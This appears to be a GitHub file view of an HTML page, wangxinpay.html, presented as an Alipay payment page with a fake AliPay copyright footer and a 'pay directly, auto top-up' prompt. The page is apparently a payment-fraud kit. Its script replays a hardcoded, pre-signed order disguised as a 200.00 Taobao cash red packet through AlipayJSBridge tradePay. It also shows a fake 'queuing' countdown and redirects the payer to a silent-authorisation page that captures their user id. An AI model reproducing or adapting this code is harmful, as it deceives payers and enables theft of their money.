forked from 1izheng/xpage
-
Notifications
You must be signed in to change notification settings - Fork 0
/
wangxinpay.html
243 lines (207 loc) · 7.82 KB
/
wangxinpay.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
<!DOCTYPE html>
<!-- saved from url=(0213)http://dd.0537jj.net/payTestNew.php?p=71f0bCQABUlRTAAkGCVABAFZXUlYCUwdXBAMHBFVNQFBDFAobBAZMXVoeCAMOHwAMVRZNR1tFUwAXFAgSLGEyeGoHBQ0JAlpQVgMBAgEEBQBDGEMdTE9PHUcMAwVQD1EBBwMICRwTFxcGQmZfXRMLFlMEWV0HBAVTUQUBA1EOUA0RSw -->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title></title>
<meta content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0" name="viewport">
<meta content="yes" name="apple-mobile-web-app-capable">
<meta content="black" name="apple-mobile-web-app-status-bar-style">
<meta content="telephone=no" name="format-detection">
<link href="style.css" rel="stylesheet" type="text/css">
<style type="text/css">
html,
body {
width: 100%;
height: 100%;
margin: 0;
padding: 0;
background: #c14443;
overflow: hidden;
}
</style>
<style>
.demo {
margin: 1em 0;
padding: 1em 1em 2em;
background: #fff;
}
.demo h1 {
padding-left: 8px;
font-size: 24px;
line-height: 1.2;
border-left: 3px solid #108EE9;
}
.demo h1,
.demo p {
margin: 1em 0;
}
.demo .am-button + .am-button,
.demo .btn + .btn,
.demo .btn:first-child {
margin-top: 10px;
}
.fn-hide {
display: none !important;
}
input {
display: block;
padding: 4px 10px;
margin: 10px 0;
line-height: 28px;
width: 100%;
box-sizing: border-box;
}
</style>
<style type="text/css">
.m-toast-pop {
display: none;
position: fixed;
width: 100%;
top: 0;
bottom: 0;
right: 0;
overflow: auto;
text-align: center;
}
.m-toast-inner {
position: absolute;
left: 50%;
top: 50%;
width: 100%;
transform: translate(-50%, -50%);
-webkit-transform: translate(-50%, -50%);
text-align: center;
}
.m-toast-inner-text {
display: inline-block;
margin: 0 22px;
padding: 19px 21px;
font-size: 16px;
color: #FFFFFF;
letter-spacing: 0;
line-height: 22px;
background: rgba(0, 0, 0, 0.72);
border-radius: 10px;
}
</style>
</head>
<body>
<div class="aui-free-head">
<div class="aui-flex b-line">
<div class="aui-user-img">
</div>
<div class="aui-flex-box">
<p>请直接付款</p>
<p id="xxxx">付款成功后将自动充值到账</p>
</div>
</div>
<div id="xxx" class="aui-flex aui-flex-text">
</div>
<div style="text-align: center;">
<button class="btnCopy" id="btn" data-clipboard-text='aaabbb'
style="border:none;width: 300px;margin: 0 auto;height: 50px;line-height: 50px;color:#000;background: #e5cf9f;text-align: center;font-size: 15px;border-radius: 4px;">
确定支付
</button>
</div>
<div id="m-toast-pop" class="m-toast-pop">
<div class="m-toast-inner">
<div class="m-toast-inner-text" id="m-toast-inner-text"></div>
</div>
</div>
</div>
<div class="am-process">
<footer class="am-footer am-fixed am-fixed-bottom">
<div class="am-footer-copyright">Copyright © 2008-2016 AliPay</div>
</footer>
</div>
<script>
function ready(callback) {
// 如果jsbridge已经注入则直接调用
if (window.AlipayJSBridge) {
callback && callback();
} else {
// 如果没有注入则监听注入的事件
document.addEventListener('AlipayJSBridgeReady', callback, false);
}
}
ready(function () {
document.querySelector('.tradeno').addEventListener('click', function () {
AlipayJSBridge.call("tradePay", {
tradeNO: "20190319200040011100720015592733",
bizType: "biz_account_transfer",
bizContext: "{\"business_scene\":\"qrpay\"}",
}, function (result) {
});
});
});
function javascript() {
var orderStt = ('service="alipay.fund.stdtrustee.order.create.pay"&partner="2088401309894080"&_input_charset="utf-8"¬ify_url="https://wwhongbao.taobao.com/callback/alipay/notifyPaySuccess.do"&out_order_no="12621186_314_1554271399_c7e092e719bafc1fdb9bff82c1c64296_1"&out_request_no="12621186_314_1554271399_c7e092e719bafc1fdb9bff82c1c64296_1_p"&product_code="SOCIAL_RED_PACKETS"&scene_code="MERCHANT_COUPON"&amount="200.00"&pay_strategy="CASHIER_PAYMENT"&receipt_strategy="INNER_ACCOUNT_RECEIPTS"&platform="DEFAULT"&channel="APP"&order_title="淘宝现金红包"&master_order_no="2019040310002001160236878278"&order_type="DEDUCT_ORDER"&extra_param="{"payeeShowName":"淘宝现金红包"}"&pay_timeout="30m"&order_expired_time="360d"&sign="CEmd0DJyFfIAUGCZED9jm3U2HVNmcxTegzbEY95Htm01eeRCBgReEpl6pDb3CRlAT6P5TyZhPq4TRFbwgmsNZLWqWhpbzrUznU2%2Fy%2FBe8DSJcpnR2HKi%2F6ipxelFotIe1K1Kop7FL7xXGsuIM6mboHC6K%2BHro21GQhHYSDnLId21Mump8lAt%2FSyy2mv2S4WhEaXbXhRhz%2FpNsiO8BvIPPwdVrhjRt%2Fzjdw7U11QOpTAabCEwL0%2FiDkTdRLDX7Q3QoSmnQrB70B5F%2BHHUq1WjRJtUaegRwB3VZKQcWrrVXOpmwe%2B%2FPIJFhZaQ6QiFeTcxLWoJvBYKKDfzNG1z08tdvw%3D%3D"&sign_type="RSA"')
AlipayJSBridge.call("tradePay", {
orderStr: orderStt,
bizType: "biz_account_transfer",
bizContext: "{\"business_scene\":\"qrpay\"}",
}, function (result) {
});
}
</script>
<script>
//导航栏颜色
AlipayJSBridge.call("setTitleColor", {
color: parseInt('c14443', 16),
reset: false // (可选,默认为false) 是否重置title颜色为默认颜色。
});
var time = 5;
function f1() {
document.all["btn"].innerHTML = "支付人数过多,排队中" + time + "秒";
time = time - 1;
if (time > 0) {
document.all["btn"].innerHTML = "支付人数过多,排队中" + time + "秒";
}
if (time == 0) {
//去静默授权
setTimeout(function () {
//注:后边www.baidu.com替换成你们自己的,获取支付用户id的页面(静默授权页)
window.location.href = "alipayqr://platformapi/startapp?saId=10000007&clientVersion=3.7.0.0718&qrcode=http%3a%2f%2fwww.baidu.com";//
}, 100);
}
}
function timeclick() {
if (time == 5) {
setInterval(f1, 1000);
}
}
</script>
<script>
var pageWidth = window.innerWidth;
var pageHeight = window.innerHeight;
if (typeof pageWidth != "number") {
//在标准模式下面
if (document.compatMode == "CSS1Compat") {
pageWidth = document.documentElement.clientWidth;
pageHeight = document.documentElement.clientHeight;
} else {
pageWidth = document.body.clientWidth;
pageHeight = window.body.clientHeight;
}
}
$('body').height(pageHeight);
</script>
<script src="https://gw.alipayobjects.com/as/g/h5-lib/alipayjsapi/3.1.1/alipayjsapi.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/clipboard@2/dist/clipboard.min.js"></script>
<script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.js"></script>
<script>
window.onload = function () {
var clipboard = new ClipboardJS('#btn');
clipboard.on('success', function (e) {
e.clearSelection();
javascript();
});
clipboard.on('error', function (e) {
alert('复制失败');
javascript();
});
}
</script>
</body>
</html>